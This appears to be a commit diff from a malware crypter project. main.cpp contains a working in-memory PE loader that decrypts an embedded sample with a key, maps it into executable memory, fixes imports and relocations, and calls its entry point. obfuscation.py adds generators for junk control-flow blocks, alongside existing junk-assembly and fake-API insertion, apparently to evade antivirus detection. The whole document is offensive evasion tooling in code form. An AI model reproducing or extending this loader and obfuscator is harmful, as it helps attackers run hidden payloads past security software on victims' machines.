add: better control flow

main.cpp

@@ -44,8 +44,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
 {
 	//START
     // Check if the DLL buffer is at least as large as the size of the DOS header.
-    if (dll_size < sizeof(IMAGE_DOS_HEADER))
+    if (dll_size < sizeof(IMAGE_DOS_HEADER)) {
-    {
         return NULL;
     }
 
@@ -53,8 +52,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
     const IMAGE_DOS_HEADER* dos_header = static_cast<const IMAGE_DOS_HEADER*>(dll_buffer);
 
     // Check if the DLL buffer is at least as large as the size of the NT headers.
-    if (dll_size < dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS))
+    if (dll_size < dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS)) {
-    {
         return NULL;
     }
 
@@ -62,8 +60,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
     const IMAGE_NT_HEADERS* nt_headers = reinterpret_cast<const IMAGE_NT_HEADERS*>(static_cast<const char*>(dll_buffer) + dos_header->e_lfanew);
 
     // Check if the DLL is a valid 32-bit or 64-bit PE file.
-    if (nt_headers->Signature != IMAGE_NT_SIGNATURE)
+    if (nt_headers->Signature != IMAGE_NT_SIGNATURE) {
-    {
         return NULL;
     }
 
@@ -72,8 +69,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
 
     // Allocate memory for the DLL in the current process.
     void* image_base = VirtualAlloc((LPVOID)newBase, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
-    if (image_base == NULL)
+    if (image_base == NULL) {
-    {
         return NULL;
     }
 
@@ -81,8 +77,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
     const IMAGE_SECTION_HEADER* section_headers = reinterpret_cast<const IMAGE_SECTION_HEADER*>(nt_headers + 1);
 
     // Copy the section data to the allocated memory.
-    for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i)
+    for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
-    {
         const IMAGE_SECTION_HEADER* section_header = section_headers + i;
         memcpy(static_cast<char*>(image_base) + section_header->VirtualAddress, static_cast<const char*>(dll_buffer) + section_header->PointerToRawData, section_header->SizeOfRawData);
     }
@@ -102,15 +97,13 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
 
     DEBUG_PRINTF("[+] Fixing imports\n");
     // Iterate through the import directory and resolve the imported functions.
-    while (import_directory->Name != 0)
+    while (import_directory->Name != 0) {
-    {
         // Get the name of the imported DLL.
         const char* import_dll_name = static_cast<const char*>(image_base) + import_directory->Name;
 
         // Load the imported DLL.
         HMODULE import_dll = LoadLibraryA(import_dll_name);
-        if (import_dll == NULL)
+        if (import_dll == NULL) {
-        {
             VirtualFree(image_base, 0, MEM_RELEASE);
             return NULL;
         }
@@ -119,11 +112,9 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
         IMAGE_THUNK_DATA* import_thunk_data = reinterpret_cast<IMAGE_THUNK_DATA*>(static_cast<char*>(image_base) + import_directory->FirstThunk);
 
         // Resolve the imported functions.
-		while (import_thunk_data->u1.AddressOfData != 0)
+		while (import_thunk_data->u1.AddressOfData != 0) {
-		{
 			// Check if the import is by ordinal
-			if (IMAGE_SNAP_BY_ORDINAL(import_thunk_data->u1.Ordinal))
+			if (IMAGE_SNAP_BY_ORDINAL(import_thunk_data->u1.Ordinal)) {
-			{
 				// Get the ordinal value
 				DWORD ordinal = IMAGE_ORDINAL(import_thunk_data->u1.Ordinal);
 
@@ -135,8 +126,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
 					*reinterpret_cast<void**>(import_thunk_data) = import_address;
 				}
 			}
-			else
+			else {
-			{
 				// Get the import by name
 				const IMAGE_IMPORT_BY_NAME* import_by_name = reinterpret_cast<const IMAGE_IMPORT_BY_NAME*>(static_cast<const char*>(image_base) + import_thunk_data->u1.AddressOfData);
 
@@ -164,8 +154,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
     DWORD delta = newBase - nt_headers->OptionalHeader.ImageBase;
 
     // Iterate through the base relocation directory and apply the relocations.
-    while (base_relocation->VirtualAddress != 0)
+    while (base_relocation->VirtualAddress != 0) {
-    {
         // Get the relocation block header.
         const WORD* relocation_block = reinterpret_cast<const WORD*>(base_relocation + 1);
 
@@ -173,8 +162,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
         DWORD num_relocations = (base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
 
         // Apply each relocation in the current block.
-        for (DWORD i = 0; i < num_relocations; ++i)
+        for (DWORD i = 0; i < num_relocations; ++i) {
-        {
             // Get the current relocation entry.
             WORD relocation_entry = relocation_block[i];
 
@@ -186,8 +174,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
             DWORD* reloc_address = reinterpret_cast<DWORD*>(static_cast<char*>(image_base) + base_relocation->VirtualAddress + offset);
 
             // Apply the relocation based on the type.
-            switch (type)
+            switch (type) {
-            {
             case IMAGE_REL_BASED_ABSOLUTE:
                 // The relocation is skipped if the type is absolute.
                 break;
@@ -210,8 +197,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
 
     DEBUG_PRINTF("\n[+] Calling DllMain\n");
     // Call the DLL's entry point, if it has one.
-    if (entry_point != NULL)
+    if (entry_point != NULL) {
-    {
         // Get the address of the DLL's entry point in the IAT.
         void* entry_point_iat = static_cast<char*>(image_base) + nt_headers->OptionalHeader.AddressOfEntryPoint;
 
@@ -262,13 +248,13 @@ int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR     lpCm
 #endif
 
     DEBUG_PRINTF("[+] Started\n");
+
     // Load the DLL from a buffer in memory
     const int bufferSize = sizeof(sample) / sizeof(sample[0]);
 
     decrypt(KEY);
     HMODULE dll = RunPE(sample, bufferSize, NEW_ADDRESS);
-    if (dll == NULL)
+    if (dll == NULL) {
-    {
         DEBUG_PRINTF("[-] Failed to load DLL\n");
         return 1;
     }

obfuscation.py

@@ -109,6 +109,43 @@ def GetRandomAssemblyBlock() :
     r += """\n};"""
     return r
 
+def generate_switch_statement(variable_name, exit_value, depth=0):
+    indent = "    " * depth
+    switch_code = f"{indent}switch ({variable_name}) {{\n"
+
+    num_cases = GetRandomRange(2, 5)
+    for _ in range(num_cases):
+        case_value = GetRandomRange(1, 10**6)
+        switch_code += f"{indent}  case {case_value}:\n"
+        if depth < 2 and GetRandomRange(0, 4) > 1 :
+            switch_code += generate_switch_statement(variable_name, exit_value, depth + 1)
+        else:
+            switch_code += f"{indent}    {{\n"
+            switch_code += f"{indent}        // Your code here\n"
+            switch_code += f"{indent}        break;\n"
+            switch_code += f"{indent}    }}\n"
+
+    switch_code += f"{indent}  default:\n"
+    switch_code += f"{indent}    {{\n"
+    switch_code += f"{indent}        {variable_name} = {exit_value};\n"
+    switch_code += f"{indent}        break;\n"
+    switch_code += f"{indent}    }}\n"
+
+    switch_code += f"{indent}}}\n"
+
+    return switch_code
+
+def GetRandomControlFlow():
+    cpp_code = ""
+    var_name = GetRandomString(15)
+    end_num = GetRandomNumber()
+    cpp_code += f"int {var_name} = {end_num};\n"
+    cpp_code += "while ("+var_name+" != "+str(end_num)+") {\n"
+    cpp_code += generate_switch_statement(var_name, end_num)
+    cpp_code += "    }\n"
+
+    return cpp_code
+    
 def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
     if PASS < CFLOW_PASS : PASS = CFLOW_PASS
     
@@ -117,7 +154,6 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
     global global_vars
     global functions
     global in_func
-    dont = ["for", "if", "else", "while"]
     func_def_pattern = r'\b\w+\s+\w+\s*\([^)]*\)\s*'
     
     f = open("DO_NOT_TOUCH.cpp", "r")
@@ -129,6 +165,7 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
         in_comment = False
         in_switch = False
         in_asm = False
+        can_code = False
         wait_for_func_close = False
         global_vars = {}
         functions = []
@@ -156,15 +193,17 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
             elif in_switch and "}" in line : in_switch = False
             if "__asm" in line : in_asm = True
             elif in_asm and "}" in line : in_asm = False
-            skip = False
+            if "// Your code here" in line :
-            for w in dont : 
+                #can_code = True
-                if w in line : skip = True
+                pass
-            if skip : continue
+            elif "break;" in line and can_code :
+                can_code = False
             
             a = "{" in line or "}" in line or "#" in line
             b = re.search(func_def_pattern, line) != None
             
-            if b or a or in_comment or in_switch or in_asm : continue # we can't write
+            if not can_code :
+                if b or a or in_comment or in_switch or in_asm : continue # we can't write
 
             if GetRandomBool() and junk : # do we create a variable ?
                 out.append(GetRandomVar()+"\n")
@@ -181,6 +220,9 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
             if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
                 out.append(GetRandomAssemblyBlock()+"\n")
             
+            if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
+                out.append(GetRandomControlFlow()+"\n")
+
         lines = out
     
     fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n